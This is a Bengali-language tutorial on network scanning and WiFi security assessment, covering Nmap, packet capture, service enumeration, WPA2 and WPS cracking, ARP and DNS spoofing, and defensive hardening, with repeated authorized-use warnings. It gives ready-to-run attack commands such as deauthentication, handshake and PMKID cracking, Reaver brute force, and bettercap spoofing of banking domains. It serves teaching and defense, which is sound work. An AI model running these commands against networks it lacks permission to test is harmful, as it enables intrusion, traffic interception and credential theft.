// CYBER SECURITY SERIES — NETWORK //

Network Scanning

& WiFi Security

সম্পূর্ণ বাংলা গাইড

Network কীভাবে কাজ করে সেটা বোঝা থেকে শুরু করে — Nmap দিয়ে professional scanning, Wireshark দিয়ে packet analysis, এবং WiFi security assessment (WPA2, WPS vulnerabilities) — সব কিছু authorized lab environment-এর জন্য।

```
root@kali:~# nmap -sV -A 192.168.1.0/24
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.1.1
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2
80/tcp open http Apache 2.4.41
```

TCP/IP Basics | Nmap Mastery | Packet Analysis | Wireshark | WiFi Protocols | WPA2 Security | Aircrack-ng Suite | WiFi Defense

📋 Cheat Sheet

// বিষয়সূচি //

NETWORK SCANNING & WIFI SECURITY — COMPLETE GUIDE

01 **Network Fundamentals** — THEORY
TCP/IP, OSI Model, IP/MAC, Ports, Protocols — মূল ধারণা

02 **Network Discovery** — DISCOVER
ping, arp-scan, netdiscover — live hosts খোঁজা

03 **Nmap — সম্পূর্ণ গাইড** — NMAP
Scan types, NSE scripts, OS detection, output — সব কিছু

04 **Packet Capture ও Analysis** — PACKETS
tcpdump, Wireshark — network traffic পড়া ও বিশ্লেষণ

05 **Service Enumeration** — ENUM
SMB, FTP, SSH, HTTP, SNMP — service থেকে তথ্য বের করা

06 **WiFi Protocol ও Security** — WIFI
802.11, WEP, WPA, WPA2, WPA3 — কীভাবে কাজ করে

07 **WiFi Reconnaissance** — RECON
Monitor mode, airodump-ng, kismet — wireless network scanning

08 **WPA2 Handshake Capture ও Crack** — WPA2
aircrack-ng, hashcat — নিজের network test করা

09 **WPS ও অন্যান্য WiFi Vulnerabilities** — VULN
Reaver, Bully, PMKID attack, Evil Twin — পরিচিতি

10 **Network Attack Techniques** — ATTACKS
ARP Spoofing, DNS Spoofing, MITM — কীভাবে কাজ করে

11 **Network ও WiFi Defense** — DEFENSE
নিজের নেটওয়ার্ক সুরক্ষিত করার সম্পূর্ণ গাইড

12 **Cheat Sheet — সম্পূর্ণ রেফারেন্স**

Nmap, tcpdump, aircrack-ng, Wireshark filters — সব কমান্ড

CHEAT

CHAPTER 01

🌐 Network Fundamentals

TCP/IP, OSI Model, IP address, Ports — scanning বোঝার আগে network বুঝতে হবে

01

OSI Model — ৭ Layer

Layer	নাম	Protocol	Hacking Relevance
7	Application	HTTP, FTP, DNS, SSH	Web attacks, SQLi, XSS
6	Presentation	SSL/TLS, JPEG, ASCII	SSL stripping
5	Session	NetBIOS, RPC	Session hijacking
4	Transport	TCP, UDP	Port scanning, DoS
3	Network	IP, ICMP, OSPF	IP spoofing, routing
2	Data Link	Ethernet, ARP, MAC	ARP spoofing, MITM
1	Physical	Cable, WiFi, Fiber	Physical tap, WiFi attack

TCP vs UDP

TCP — নির্ভরযোগ্য

3-way handshake (SYN → SYN-ACK → ACK) করে connection establish করে। প্রতিটা packet-এর delivery নিশ্চিত করে। HTTP, SSH, FTP ব্যবহার করে।

```
Client ──SYN──► Server Client ◄─SYN-ACK─ Server Client ──ACK──► Server Connection Established!
```

UDP — দ্রুত কিন্তু অনির্ভরযোগ্য

Handshake নেই — সরাসরি পাঠিয়ে দেয়। Packet হারিয়ে গেলে জানে না। DNS, DHCP, Video streaming ব্যবহার করে।

```
Client ──DATA──► Server Client ──DATA──► Server (No acknowledgment)
```

IP Addressing ও Subnetting

```
# IP Address Classes Class A: 1.0.0.0 - 126.255.255.255 (Large networks) Class B:
128.0.0.0 - 191.255.255.255 (Medium networks) Class C: 192.0.0.0 - 223.255.255.255
(Small networks) # Private IP ranges (LAN এ থাকে) 10.0.0.0 - 10.255.255.255 (10.0.0.0/8)
172.16.0.0 - 172.31.255.255 (172.16.0.0/12) 192.168.0.0 - 192.168.255.255
(192.168.0.0/16) # CIDR Notation 192.168.1.0/24 → 256 IPs (192.168.1.0 - 192.168.1.255)
192.168.1.0/25 → 128 IPs 10.0.0.0/8 → 16M+ IPs # Network info বের করা $ ip addr show #
Linux IP info $ ip route # Routing table $ cat /etc/resolv.conf # DNS servers $ arp -n #
ARP table
```

গুরুত্বপূর্ণ Ports মনে রাখা

সাধারণ Services

- 21 → FTP
- 22 → SSH
- 23 → Telnet
- 25 → SMTP
- 53 → DNS
- 80 → HTTP
- 443 → HTTPS

Database Services

- 1433 → MSSQL
- 1521 → Oracle
- 3306 → MySQL

- 5432 → PostgreSQL
- 6379 → Redis
- 27017→ MongoDB

Windows/AD

- 88 → Kerberos
- 135 → RPC
- 139 → NetBIOS
- 389 → LDAP
- 445 → SMB
- 3389→ RDP
- 5985→ WinRM

CHAPTER 02

📡 Network Discovery — Live Hosts খোঁজা

Network-এ কোন কোন device চলছে সেটা বের করার কৌশল

ICMP Ping — সবচেয়ে সরল

```
# Single host ping $ ping 192.168.1.1 $ ping -c 4 192.168.1.1 # 4 packet পাঠাও $ ping -i 0.2 192.168.1.1 # Fast ping # Ping sweep — bash loop দিয়ে $ for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep "bytes from" & done # fping — একসাথে অনেক host $ fping -a -g 192.168.1.0/24 2>/dev/null # alive hosts শুধু $ fping -a -g 10.0.0.0/24 -r 1 # 1 retry
```

ARP Scan — Local Network-এ সবচেয়ে নির্ভরযোগ্য

```
# arp-scan $ arp-scan --localnet $ arp-scan -I eth0 192.168.1.0/24 $ arp-scan --localnet | grep -v "DUP\|Unknown" # netdiscover $ netdiscover -r 192.168.1.0/24 $ netdiscover -i eth0 -r 192.168.1.0/24 -P # Passive mode # arping $ arping -c 3 192.168.1.1 # Nmap দিয়ে host discovery (no port scan) $ nmap -sn 192.168.1.0/24 # Ping scan only $ nmap -sn -PR 192.168.1.0/24 # ARP ping $ nmap -sP 192.168.1.0/24 # Same as -sn (older syntax)
```

Network Information Gathering

```
# DNS Lookup $ nslookup target.com $ dig target.com A $ dig target.com MX $ dig -x 192.168.1.1 # Reverse DNS $ host target.com # Traceroute — network path দেখা $ traceroute target.com $ traceroute -T target.com # TCP traceroute $ mtr target.com # Live traceroute # Network interfaces $ ip link show $ ifconfig -a $ ip neigh show # ARP cache (neighbors)
```

CHAPTER 03

🗺️ Nmap — সম্পূর্ণ গাইড

Network Mapper — পৃথিবীর সবচেয়ে বেশি ব্যবহৃত port scanner, সম্পূর্ণ বিস্তারিত

03

Nmap Scan Types

Flag	Scan Type	কীভাবে কাজ করে	কখন ব্যবহার করবে
-sS	SYN Stealth	SYN পাঠায়, SYN-ACK পেলে RST পাঠায়	DEFAULT (root)
-sT	TCP Connect	Full 3-way handshake	Non-root user
-sU	UDP Scan	UDP packet পাঠায়	DNS, SNMP, DHCP
-sA	ACK Scan	Firewall rules detect করে	Firewall mapping
-sN	NULL Scan	কোনো flag নেই	IDS evasion
-sn	Ping Scan	Port scan ছাড়া host discovery	Quick discovery

Nmap সম্পূর্ণ ব্যবহার

```
# — TARGET SPECIFICATION — $ nmap 192.168.1.1 # Single IP $ nmap 192.168.1.1-254 # IP range $ nmap 192.168.1.0/24 # CIDR $ nmap -iL targets.txt # File থেকে $ nmap target.com # Domain # — PORT SPECIFICATION — $ nmap -p 80 IP # Single port $ nmap -p 80,443,8080 IP # Multiple ports $ nmap -p 1-1000 IP # Port range $ nmap -p- IP # All 65535 ports $ nmap --top-ports 100 IP # Top 100 common ports # — SERVICE & OS DETECTION — $ nmap -sV IP # Service version $ nmap -sV --version-intensity 9 IP # Aggressive version $ nmap -O IP # OS detection $ nmap -A IP # All: OS+Version+Scripts+Traceroute # — TIMING TEMPLATES — $ nmap -T0 IP # Paranoid (IDS evasion) $ nmap -T1 IP # Sneaky $ nmap -T2 IP # Polite $ nmap -T3 IP # Normal (default) $ nmap -T4 IP # Aggressive (fast) $ nmap -T5 IP # Insane (fastest) # — OUTPUT — $ nmap -oN output.txt IP # Normal text $ nmap -oX output.xml IP
```

```
# XML $ nmap -oG output.gnmap IP # Grepable $ nmap -oA output IP # All 3 formats $ nmap -v IP # Verbose $ nmap -vv IP # More verbose
```

NSE Scripts — সবচেয়ে শক্তিশালী Feature

```
# Script Categories $ nmap --script vuln IP # Vulnerability scan $ nmap --script safe IP # Safe scripts $ nmap --script default IP # Default scripts $ nmap --script discovery IP # Discovery # Specific scripts $ nmap --script http-enum IP # Web directory enum $ nmap --script http-title IP # Web page title $ nmap --script smb-vuln-* IP # SMB vulnerabilities $ nmap --script smb-enum-shares IP # SMB shares $ nmap --script ftp-anon IP # Anonymous FTP $ nmap --script ssh-hostkey IP # SSH host key $ nmap --script dns-zone-transfer IP # DNS zone transfer $ nmap --script ssl-cert IP # SSL certificate info $ nmap --script banner IP # Service banners # Evasion techniques $ nmap -D RND:10 IP # Decoy scan $ nmap -f IP # Fragment packets $ nmap --source-port 53 IP # Source port spoof $ nmap --data-length 200 IP # Random data $ nmap --randomize-hosts IP # Random order
```

Practical Scan Examples

```
# Quick network survey $ nmap -sn 192.168.1.0/24 -oN hosts.txt # Comprehensive single target scan $ nmap -sV -sC -O -p- --min-rate=1000 -T4 TARGET_IP -oA full_scan # Fast top ports scan $ nmap -sV --top-ports 1000 -T4 TARGET_IP # Vulnerability assessment $ nmap -sV --script vuln TARGET_IP # EternalBlue check (MS17-010) $ nmap --script smb-vuln-ms17-010 -p 445 TARGET_IP # Web application discovery $ nmap -p 80,443,8080,8443 --script http-enum,http-title,http-methods TARGET_IP
```

CHAPTER 04

📦 Packet Capture ও Analysis

tcpdump ও Wireshark দিয়ে network traffic দেখা ও বিশ্লেষণ করা

tcpdump — Command Line Packet Capture

```
# Basic capture $ tcpdump -i eth0 # eth0 এ capture $ tcpdump -i any # সব interface $ tcpdump -i eth0 -w capture.pcap # File-এ save $ tcpdump -r capture.pcap # File পড়া $ tcpdump -i eth0 -c 100 # 100 packet capture $ tcpdump -i eth0 -n # No DNS resolution # Filters $ tcpdump -i eth0 host 192.168.1.1 # Specific IP $ tcpdump -i eth0 port 80 # Specific port $ tcpdump -i eth0 tcp # TCP only $ tcpdump -i eth0 udp # UDP only $ tcpdump -i eth0 icmp # ICMP only $ tcpdump -i eth0 'port 80 and host 192.168.1.1' # Security-specific captures $ tcpdump -i eth0 -A port 80 # HTTP content (ASCII) $ tcpdump -i eth0 -A 'port 21' # FTP credentials! $ tcpdump -i eth0 -A 'port 23' # Telnet credentials! $ tcpdump -i eth0 'tcp[tcpflags] = tcp-syn' # SYN scan detect
```

Wireshark — GUI Packet Analyzer

```
# Wireshark Display Filters (GUI-তে Filter bar-এ লিখবে) # Protocol filters http # HTTP traffic dns # DNS queries ftp # FTP ssh # SSH tcp # All TCP udp # All UDP icmp # ICMP/Ping arp # ARP packets # IP filters ip.addr == 192.168.1.1 # Specific IP ip.src == 192.168.1.100 # Source IP ip.dst == 192.168.1.1 # Destination IP # Port filters tcp.port == 80 # TCP port 80 tcp.dstport == 443 # HTTPS tcp.flags.syn == 1 # SYN packets tcp.flags.reset == 1 # RST (closed port) # Content filters http.request.method == "POST" # POST requests http contains "password" # Password in HTTP dns.qry.name contains "google" # DNS query # Combined http.request and ip.src == 192.168.1.5 tcp.port == 80 and ip.addr == 10.0.0.1
```

💡 **Wireshark দিয়ে Credential খোঁজা**

> HTTP, FTP, Telnet-এ credentials plaintext-এ পাঠানো হয়। Wireshark-এ `http.request.method == "POST"` filter দিলে login form submissions দেখা যায়। এটাই দেখায় কেন HTTPS, SFTP ও SSH ব্যবহার করা উচিত।

CHAPTER 05

🔎 Service Enumeration

Open port খোঁজার পর — প্রতিটা service থেকে কীভাবে তথ্য বের করতে হয়

05

SMB Enumeration (Port 445)

```
$ enum4linux -a TARGET_IP $ enum4linux-ng -A TARGET_IP $ smbclient -L //TARGET_IP -N # Share list (anonymous) $ smbclient -L //TARGET_IP -U user # With credentials $ smbclient //TARGET_IP/share -N # Connect to share $ smbmap -H TARGET_IP $ smbmap -H TARGET_IP -u user -p pass # Nmap SMB scripts $ nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 TARGET_IP $ nmap --script smb-vuln-ms17-010 -p 445 TARGET_IP # EternalBlue
```

HTTP/HTTPS Enumeration (Port 80/443)

```
# Technology detection $ whatweb http://TARGET_IP $ wafw00f http://TARGET_IP # WAF detection $ curl -I http://TARGET_IP # HTTP headers # Directory brute force $ gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt $ gobuster dir -u http://TARGET_IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt $ ffuf -w wordlist.txt -u http://TARGET_IP/FUZZ -mc 200,301,302 # Web vulnerability scanner $ nikto -h http://TARGET_IP
```

SSH, FTP, SNMP Enumeration

```
# SSH (Port 22) $ ssh-audit TARGET_IP # Algorithm & weakness check $ nmap --script ssh-hostkey -p 22 TARGET_IP # FTP (Port 21) — Anonymous login check $ ftp TARGET_IP # Username: anonymous, Password: (blank or email) $ nmap --script ftp-anon,ftp-bounce -p 21 TARGET_IP # SNMP (Port 161/UDP) $ snmpwalk -c public -v1 TARGET_IP $ snmpwalk -c
```

```
public -v2c TARGET_IP $ onesixtyone -c community.txt TARGET_IP $ nmap -sU -p 161 --
script snmp-info TARGET_IP
```

CHAPTER 06

📶 WiFi Protocol ও Security Standards

802.11, WEP, WPA, WPA2, WPA3 — WiFi কীভাবে কাজ করে এবং কোনটায় কী দুর্বলতা

WiFi Security Evolution

Standard	বছর	Encryption	নিরাপত্তা	দুর্বলতা
WEP	1997	RC4	BROKEN	মিনিটে crack হয়
WPA	2003	TKIP	WEAK	TKIP vulnerabilities
WPA2	2004	AES-CCMP	MEDIUM	Weak password, PMKID, KRACK
WPA3	2018	SAE (Dragonfly)	STRONG	DragonBlood (patched)

WPA2 Authentication — কীভাবে কাজ করে?

```
WPA2 4-Way Handshake: Client (Station) Access Point (AP) | | |◄──── Message 1: ANonce
──────────────| | (AP sends random number) | | | |──── Message 2: SNonce + MIC ──────────►|
| (Client sends its random + hash) | | | |◄──── Message 3: GTK + MIC ──────────────| | (AP
confirms session key) | | | |──── Message 4: ACK ──────────────────►| | (Client confirms) |
| | └═══════ Encrypted Communication ═══════┘ Attacker: Message 2 ধরলেই offline crack করা
যায়! Password hash = PBKDF2(password, SSID, 4096 iterations)
```

WiFi Bands ও Channel

2.4 GHz Band

- Channel 1, 6, 11 — overlap নেই
- Range বেশি কিন্তু slow

- Wall ভেদ করতে পারে
- 802.11b/g/n

5 GHz Band

- ২৩টি non-overlapping channel
- দ্রুত কিন্তু range কম
- কম interference
- 802.11a/n/ac/ax

CHAPTER 07

🔭 WiFi Reconnaissance

Monitor mode, airodump-ng দিয়ে wireless network scanning — সব কিছু দেখার কৌশল

⚖️ আইনগত সতর্কতা

WiFi scanning শুধুমাত্র **নিজের network** বা **লিখিত অনুমতি** নিয়ে করতে হবে। অন্যের WiFi-তে unauthorized access বাংলাদেশের Digital Security Act এবং আন্তর্জাতিক আইনে অপরাধ। সব practice নিজের home lab বা dedicated test network-এ করো।

Monitor Mode চালু করা

```
# Compatible adapter check $ iwconfig # Wireless interfaces দেখো $ iw list | grep "Supported interface modes" -A 10 # Monitor mode support # Method 1: airmon-ng (recommended) $ airmon-ng check kill # Interfering processes বন্ধ $ airmon-ng start wlan0 # Monitor mode চালু # Interface: wlan0 → wlan0mon $ airmon-ng stop wlan0mon # Monitor mode বন্ধ # Method 2: iw command $ ip link set wlan0 down $ iw dev wlan0 set type monitor $ ip link set wlan0 up # Verify monitor mode $ iwconfig wlan0mon
```

airodump-ng — Wireless Network Scanner

```
# Basic scan — সব নেটওয়ার্ক দেখো $ airodump-ng wlan0mon # Output explanation: # BSSID = AP-এর MAC address # PWR = Signal strength (higher = closer) # Beacons = Broadcast count # #Data = Data frames # CH = Channel # ENC = Encryption type # CIPHER = Cipher (CCMP, TKIP) # AUTH = Authentication (PSK, MGT) # ESSID = Network name # Specific network focus $ airodump-ng wlan0mon --bssid AP_MAC --channel 6 # Capture packets to file $ airodump-ng wlan0mon --bssid AP_MAC --channel 6 -w capture # 5 GHz band $ airodump-ng wlan0mon --band a $ airodump-ng wlan0mon --band abg # Both bands # Kismet — Advanced wireless scanner $ kismet -c wlan0mon
```

CHAPTER 08

🔐 WPA2 Handshake Capture ও Crack

নিজের WPA2 network-এর password strength test করা — authorized testing only

⚠️ **শুধুমাত্র নিজের নেটওয়ার্কে!**

এই chapter-এর সব কিছু শুধুমাত্র **নিজের WiFi** বা dedicated lab-এ test করার জন্য। এটা দেখায় কেন তোমার router-এ strong password রাখা দরকার।

Handshake Capture করা

```
# Step 1: Monitor mode চালু $ airmon-ng check kill $ airmon-ng start wlan0 # Step 2: Target network খোঁজো $ airodump-ng wlan0mon # Note: BSSID (AP MAC), Channel, ESSID # Step 3: Specific channel-এ capture শুরু করো $ airodump-ng --bssid TARGET_BSSID --channel TARGET_CH -w handshake wlan0mon # Step 4: (অন্য terminal-এ) Deauth — client reconnect করাও $ aireplay-ng --deauth 10 -a TARGET_BSSID wlan0mon # -deauth 10 = 10 deauth packet পাঠাও # উপরের window-এ "WPA handshake: XX:XX:XX" দেখালে success! # Handshake verify করা $ aircrack-ng handshake-01.cap
```

Aircrack-ng দিয়ে Crack করা

```
# Dictionary attack $ aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt $ aircrack-ng handshake-01.cap -w custom_wordlist.txt -e ESSID # Hashcat দিয়ে (অনেক দ্রুত — GPU ব্যবহার করে) # Step 1: .cap → .hc22000 convert $ hcxtools handshake-01.cap -o hash.hc22000 # অথবা: $ hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1 # Step 2: Hashcat crack $ hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt $ hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule $ hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d # 8-digit numbers # PMKID Attack (client ছাড়াই!) $ hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1 --filtermode=2 $ hcxpcapngtool pmkid.pcapng -o hash.hc22000 $ hashcat -m 22000 hash.hc22000 rockyou.txt
```

// Password কতক্ষণে crack হয়? //

- 🔴 "password", "12345678", "bangladesh" → মিনিটের মধ্যে
- 🟡 Dictionary word + numbers (admin123) → ঘণ্টার মধ্যে
- 🟢 Random 12+ chars (K#9mP@2Lq!v) → বছর বা অসম্ভব
- 💡 WPA3 ব্যবহার করো — offline crack প্রতিরোধ করে

CHAPTER 09

📌 WPS ও অন্যান্য WiFi Vulnerabilities

WPS PIN attack, Pixie Dust, Evil Twin — WiFi-র অন্যান্য দুর্বলতার পরিচিতি

WPS — WiFi Protected Setup দুর্বলতা

WPS হলো router-এ easy connection-এর জন্য একটি feature। কিন্তু এর 8-digit PIN system-এ fundamental design flaw আছে — শুধু 11,000 combination try করেই crack করা যায়।

```
# WPS enabled networks খোঁজা $ wash -i wlan0mon # WPS-enabled APs scan $ airodump-ng wlan0mon --wps # WPS info দেখো # Reaver — WPS PIN brute force (নিজের router-এ test) $ reaver -i wlan0mon -b TARGET_BSSID -vv $ reaver -i wlan0mon -b TARGET_BSSID -vv -N # No association # Pixie Dust Attack — দ্রুততর (seconds-এ) $ reaver -i wlan0mon -b TARGET_BSSID -vv -K 1 $ bully wlan0mon -b TARGET_BSSID -d -v 3
```

Evil Twin Attack — কীভাবে কাজ করে (Theory)

```
Evil Twin Attack Flow: 1. Attacker target AP-এর same SSID দিয়ে fake AP তৈরি করে 2. Attacker real AP-তে deauth attack পাঠায় 3. Victim disconnect হয়ে fake AP-তে connect করে 4. Fake AP captive portal দেখায় "WiFi password re-enter করুন" 5. Victim password দেয় → Attacker পেয়ে যায় Tools: airbase-ng, hostapd-wpe, wifiphisher Note: এটা Social Engineering — technical bypass নয়
```

🔍 **Evil Twin থেকে রক্ষা পাওয়ার উপায়**

- VPN ব্যবহার করো — public WiFi-তে সবসময়
- HTTPS-only sites ব্যবহার করো
- অচেনা network-এ password দিও না
- WPA3 Enterprise ব্যবহার করো (certificate validation)

CHAPTER 10

⚡ Network Attack Techniques

ARP Spoofing, DNS Spoofing, MITM — কীভাবে কাজ করে এবং কীভাবে রক্ষা পাওয়া যায়

10

ARP Spoofing — MITM-এর মূল

```
Normal ARP: PC (192.168.1.5) → "Router-এর MAC কে?" → Router জানায় ARP Spoofing: Attacker → PC: "আমিই Router (192.168.1.1)! আমার MAC: AA:BB:CC" Attacker → Router: "আমিই PC (192.168.1.5)! আমার MAC: AA:BB:CC" PC → (sends to Attacker thinking it's Router) → Router All traffic passes through Attacker! Tools: arpspoof, bettercap, ettercap
```

```
# ARP Spoofing (নিজের lab-এ test) $ echo 1 > /proc/sys/net/ipv4/ip_forward # Forwarding চালু $ arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP $ arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP # Bettercap — Modern MITM framework $ bettercap -iface eth0 » net.probe on » arp.spoof.targets VICTIM_IP » arp.spoof on » net.sniff on # ARP Spoofing detect করা $ arp -n # Duplicate MAC address দেখো $ arpwatch # ARP change monitor
```

DNS Spoofing

```
# dnsspoof (MITM-এর পরে) # /etc/hosts file-এ fake entries যোগ করো $ echo "192.168.1.100 bank.com" >> /tmp/fakehosts $ dnsspoof -f /tmp/fakehosts # Bettercap DNS spoofing » set dns.spoof.domains bank.com,facebook.com » set dns.spoof.address 192.168.1.100 » dns.spoof on
```

CHAPTER 11

🛡️ Network & WiFi Defense

নিজের network সুরক্ষিত করার সম্পূর্ণ গাইড — এখনই করো

11

WiFi Router Security Checklist

❌ এখনই ঠিক করো

- Default router password পরিবর্তন করো (admin/admin)
- WEP বা WPA ব্যবহার করলে WPA2/WPA3-এ upgrade করো
- WPS সম্পূর্ণ বন্ধ করো
- Remote management বন্ধ করো
- Firmware আপডেট করো

✅ ভালো প্র্যাকটিস

- WPA3 ব্যবহার করো (সম্ভব হলে)
- 20+ character random WiFi password
- Guest network আলাদা রাখো
- SSID change করো (ISP default নয়)
- Connected devices regularly check করো
- VPN ব্যবহার করো public WiFi-তে

Network-Level Defense

```
# Firewall (UFW) setup — Linux server $ ufw enable $ ufw default deny incoming $ ufw default allow outgoing $ ufw allow 22/tcp # SSH শুধু $ ufw allow 80/tcp # HTTP $ ufw allow 443/tcp # HTTPS $ ufw deny 23/tcp # Telnet block $ ufw status verbose # ARP Spoofing protection $ arp -s GATEWAY_IP GATEWAY_MAC # Static ARP entry # Router-এ Dynamic ARP
```

```
Inspection (DAI) চালু করো # Nmap দিয়ে নিজের network scan করো $ nmap -sV -A 192.168.1.0/24
-oA home_network_audit # যে ports unexpected open আছে সেগুলো close করো
```

WiFi Password Strength Test

```
# নিজের WiFi password কতটা strong সেটা test করো # Step 1: নিজের WiFi-এর handshake capture
করো (ch8) # Step 2: rockyou.txt দিয়ে crack try করো $ aircrack-ng -w
/usr/share/wordlists/rockyou.txt -b YOUR_BSSID handshake.cap # যদি crack হয় → password
পরিবর্তন করো! # Strong password উদাহরণ: # Tr0ub4dor&3 (xkcd-style passphrase) ← এটাও মাঝারি
# K#9mP@2Lq!vN7rTw (random 16-char) ← এটাই ভালো # Use password manager to generate!
```

CHAPTER 12

📋 Cheat Sheet — সম্পূর্ণ রেফারেন্স

Nmap, tcpdump, aircrack-ng, Wireshark filters — সব কমান্ড এক জায়গায়

12

🗺 Nmap Cheat Sheet

Scan Types	
`nmap -sS IP`	SYN Stealth (default)
`nmap -sT IP`	TCP Connect
`nmap -sU IP`	UDP scan
`nmap -sV IP`	Version detect
`nmap -A IP`	Aggressive (all)
`nmap -sn 192.168.1.0/24`	Ping scan only

Ports & Output	
`nmap -p- IP`	All 65535 ports
`nmap -p 80,443 IP`	Specific ports
`nmap --top-ports 100 IP`	Top 100
`nmap -oA output IP`	All formats save
`nmap -T4 IP`	Fast timing
`nmap --script vuln IP`	Vuln scan

📦 tcpdump Cheat Sheet

Capture	
`tcpdump -i eth0`	Interface capture
`tcpdump -i eth0 -w file.pcap`	File-এ save
`tcpdump -r file.pcap`	File পড়া

`tcpdump -i eth0 -n`	No DNS lookup
`tcpdump -i eth0 -A port 80`	HTTP content

Filters

`tcpdump host IP`	Specific IP
`tcpdump port 443`	Specific port
`tcpdump tcp`	TCP only
`tcpdump udp`	UDP only
`tcpdump icmp`	ICMP/Ping only

📡 Aircrack-ng Suite Cheat Sheet

Monitor & Scan

`airmon-ng check kill`	Process বন্ধ
`airmon-ng start wlan0`	Monitor mode
`airmon-ng stop wlan0mon`	Monitor বন্ধ
`airodump-ng wlan0mon`	Network scan
`wash -i wlan0mon`	WPS scan

Capture & Crack

`airodump-ng --bssid MAC -c CH -w cap wlan0mon`	Handshake capture
`aireplay-ng --deauth 10 -a BSSID wlan0mon`	Deauth attack
`aircrack-ng cap.cap -w wordlist.txt`	Dictionary crack
`hashcat -m 22000 hash.hc22000 wordlist.txt`	GPU crack
`hcxtools cap.cap -o hash.hc22000`	Convert format

🦈 Wireshark Filter Cheat Sheet

Protocol Filters

`http`	HTTP traffic

`dns`	DNS queries
`tcp.port == 22`	SSH
`tcp.flags.syn == 1`	SYN packets
`arp`	ARP packets
`icmp`	Ping/ICMP

Content Filters

`http.request.method == "POST"`	POST requests
`http contains "password"`	Password খোঁজা
`ip.addr == 192.168.1.1`	IP filter
`dns.qry.name contains "google"`	DNS query
`wlan.fc.type_subtype == 0x08`	WiFi beacon
`eapol`	WPA handshake

```
$ nmap -sV --script vuln 192.168.1.0/24
```

[+] Network scanning শেখা হলো ✓
[+] WiFi security বোঝা হলো ✓
[+] নিজের network রক্ষা করো ✓

সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। শুধুমাত্র authorized environment-এ এবং নিজের নেটওয়ার্কে practice করো।

v1.0 — Network Scanning & WiFi Security | Bilingual | 12 Chapters + Cheat Sheet